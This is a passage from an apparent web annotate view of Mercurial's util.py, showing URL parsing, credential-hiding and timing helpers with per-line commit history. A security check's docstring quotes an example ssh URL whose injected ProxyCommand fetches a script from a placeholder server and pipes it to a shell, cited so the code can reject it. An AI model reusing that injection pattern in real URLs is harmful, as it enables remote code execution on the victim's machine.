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diff
changeset
|
2665 if self.host and '@' in self.host: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2666 self.user, self.host = self.host.rsplit('@', 1) |
924c82157d46
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diff
changeset
|
2667 if ':' in self.user: |
924c82157d46
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diff
changeset
|
2668 self.user, self.passwd = self.user.split(':', 1) |
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diff
changeset
|
2669 if not self.host: |
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diff
changeset
|
2670 self.host = None |
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diff
changeset
|
2671 |
924c82157d46
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diff
changeset
|
2672 # Don't split on colons in IPv6 addresses without ports |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2673 if (self.host and ':' in self.host and |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2674 not (self.host.startswith('[') and self.host.endswith(']'))): |
924c82157d46
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diff
changeset
|
2675 self._hostport = self.host |
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diff
changeset
|
2676 self.host, self.port = self.host.rsplit(':', 1) |
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diff
changeset
|
2677 if not self.host: |
924c82157d46
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diff
changeset
|
2678 self.host = None |
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diff
changeset
|
2679 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2680 if (self.host and self.scheme == 'file' and |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2681 self.host not in ('localhost', '127.0.0.1', '[::1]')): |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
2682 raise error.Abort(_('file:// URLs can only refer to localhost')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2683 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2684 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2685 |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2686 # leave the query string escaped |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2687 for a in ('user', 'passwd', 'host', 'port', |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2688 'path', 'fragment'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2689 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2690 if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
2691 setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2692 |
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
2693 @encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2694 def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2695 attrs = [] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2696 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2697 'query', 'fragment'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2698 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2699 if v is not None: |
37873
bb1b15acfd06
util: make util.url __repr__ consistent on Python 2 and 3
Augie Fackler <augie@google.com>
parents:
37844
diff
changeset
|
2700 attrs.append('%s: %r' % (a, pycompat.bytestr(v))) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2701 return '<url %s>' % ', '.join(attrs) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2702 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2703 def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2704 r"""Join the URL's components back into a URL string. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2705 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2706 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2707 |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2708 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
2709 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2710 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2711 'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2712 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2713 'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2714 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2715 'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2716 >>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2717 'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2718 >>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2719 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2720 >>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2721 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2722 >>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2723 'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2724 >>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2725 'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2726 >>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2727 'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2728 >>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2729 'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2730 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 2731 'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2732 >>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2733 bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2734 >>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2735 file:///D:\data\hg |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2736 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2737 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2738 s = self.path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2739 if self.scheme == 'bundle': |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2740 s = 'bundle:' + s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2741 if self.fragment: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2742 s += '#' + self.fragment |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2743 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2744 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2745 s = self.scheme + ':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2746 if self.user or self.passwd or self.host: |
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2747 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2748 elif self.scheme and (not self.path or self.path.startswith('/') |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2749 or hasdriveletter(self.path)): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2750 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2751 if hasdriveletter(self.path): |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2752 s += '/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2753 if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2754 s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2755 if self.passwd: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2756 s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2757 if self.user or self.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2758 s += '@' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2759 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2760 if not (self.host.startswith('[') and self.host.endswith(']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2761 s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2762 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2763 s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2764 if self.port: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2765 s += ':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2766 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2767 s += '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2768 if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2769 # TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2770 # path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2771 # which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2772 s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2773 if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2774 # we store the query in escaped form. |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2775 s += '?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2776 if self.fragment is not None: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2777 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2778 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2779 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2780 __str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2781 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2782 def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2783 user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2784 try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2785 self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
2786 s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2787 finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
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parents:
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diff
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2788 self.user, self.passwd = user, passwd |
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parents:
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|
2789 if not self.user: |
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parents:
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diff
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|
2790 return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
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diff
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|
2791 # authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
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diff
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|
2792 # URIs must not contain credentials. The host is passed in the |
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Patrick Mezard <pmezard@gmail.com>
parents:
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diff
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|
2793 # URIs list because Python < 2.4.3 uses only that to search for |
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http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
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|
2794 # a password. |
15024
0f1311e829c9
http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents:
15018
diff
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|
2795 return (s, (None, (s, self.host), |
14076
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parents:
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|
2796 self.user, self.passwd or '')) |
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parents:
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diff
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|
2797 |
14766
4f56b7530eab
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Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2798 def isabs(self): |
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Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2799 if self.scheme and self.scheme != 'file': |
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Matt Mackall <mpm@selenic.com>
parents:
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diff
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|
2800 return True # remote URL |
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Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2801 if hasdriveletter(self.path): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2802 return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
2803 if self.path.startswith(br'\\'): |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2804 return True # Windows UNC path |
4f56b7530eab
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Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2805 if self.path.startswith('/'): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2806 return True # POSIX-style |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
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|
2807 return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2808 |
14076
924c82157d46
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parents:
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diff
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|
2809 def localpath(self): |
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parents:
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diff
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|
2810 if self.scheme == 'file' or self.scheme == 'bundle': |
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parents:
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diff
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|
2811 path = self.path or '/' |
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parents:
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|
2812 # For Windows, we need to promote hosts containing drive |
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parents:
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diff
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|
2813 # letters to paths with drive letters. |
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parents:
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diff
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|
2814 if hasdriveletter(self._hostport): |
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parents:
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diff
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|
2815 path = self._hostport + '/' + self.path |
15496
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
2816 elif (self.host is not None and self.path |
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
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|
2817 and not hasdriveletter(path)): |
14076
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parents:
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diff
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|
2818 path = '/' + path |
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parents:
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diff
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|
2819 return path |
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diff
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|
2820 return self._origpath |
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Brodie Rao <brodie@bitheap.org>
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diff
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|
2821 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2822 def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
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|
2823 '''whether localpath will return something that posixfile can open''' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
2824 return (not self.scheme or self.scheme == 'file' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
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|
2825 or self.scheme == 'bundle') |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
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|
2826 |
14076
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parents:
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diff
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|
2827 def hasscheme(path): |
924c82157d46
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parents:
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diff
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|
2828 return bool(url(path).scheme) |
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parents:
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diff
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|
2829 |
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parents:
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diff
changeset
|
2830 def hasdriveletter(path): |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2831 return path and path[1:2] == ':' and path[0:1].isalpha() |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2832 |
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
2833 def urllocalpath(path): |
14076
924c82157d46
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parents:
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diff
changeset
|
2834 return url(path, parsequery=False, parsefragment=False).localpath() |
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parents:
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diff
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|
2835 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2836 def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2837 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
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Sean Farley <sean@farley.io>
parents:
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diff
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|
2838 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2839 This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2840 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
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Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2841 Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
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|
2842 user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
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diff
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|
2843 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2844 Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
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|
2845 """ |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2846 path = urlreq.unquote(path) |
33660
3fee7f7d2da0
ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents:
33657
diff
changeset
|
2847 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
2848 raise error.Abort(_('potentially unsafe url: %r') % |
36724
ca201470abb4
util: fix unsafe url abort with bytestr() on url
Augie Fackler <augie@google.com>
parents:
36701
diff
changeset
|
2849 (pycompat.bytestr(path),)) |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
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|
2850 |
14076
924c82157d46
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diff
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|
2851 def hidepassword(u): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2852 '''hide user credential in a url string''' |
924c82157d46
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parents:
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diff
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|
2853 u = url(u) |
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parents:
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diff
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|
2854 if u.passwd: |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2855 u.passwd = '***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
2856 return bytes(u) |
14076
924c82157d46
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diff
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|
2857 |
924c82157d46
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parents:
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diff
changeset
|
2858 def removeauth(u): |
924c82157d46
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parents:
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diff
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|
2859 '''remove all authentication information from a url string''' |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2860 u = url(u) |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2861 u.user = u.passwd = None |
37366
b23e3cc1afd4
py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
37322
diff
changeset
|
2862 return bytes(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
2863 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2864 timecount = unitcountfn( |
af9ddea2cb99
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Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2865 (1, 1e3, _('%.0f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2866 (100, 1, _('%.1f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2867 (10, 1, _('%.2f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2868 (1, 1, _('%.3f s')), |
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util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2869 (100, 0.001, _('%.1f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2870 (10, 0.001, _('%.2f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2871 (1, 0.001, _('%.3f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2872 (100, 0.000001, _('%.1f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2873 (10, 0.000001, _('%.2f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2874 (1, 0.000001, _('%.3f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2875 (100, 0.000000001, _('%.1f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
